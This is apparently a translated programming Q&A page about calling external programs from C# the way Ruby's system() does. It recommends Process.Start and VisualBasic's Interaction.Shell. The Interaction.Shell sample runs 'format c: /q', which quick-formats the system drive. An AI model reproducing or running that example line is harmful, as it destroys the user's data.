2011-01-26 6 views
2

私はC#でRubyプログラムを書き直しています。それはシステム( "./プログラム")のようなsystem()コールをたくさん持っています。C#でsystem()を実行するには?

C#で呼び出す方法はありますか、Systemm.Diagnostics.Processを使用する必要がありますか?

答えて

6

System.Diagnostics.Process.Startは、Rubyのsystem()に相当する.NETです。

またはSystemm.Diagnostics.Processを使用する必要がありますか?

ファイルの先頭にusing System.Diagnostics;を追加できます。それはちょうどProcess.Start("program.exe");になります。

2

引数を分割して気にせずにProcessStartInfoを設定する場合は、Microsoft.VisualBasicアセンブリへの参照を追加してMicrosoft.VisualBasic.Interaction.Shell static methodを使用するだけです。

using Microsoft.VisualBasic; 

Interaction.Shell("format c: /q"); 
関連する問題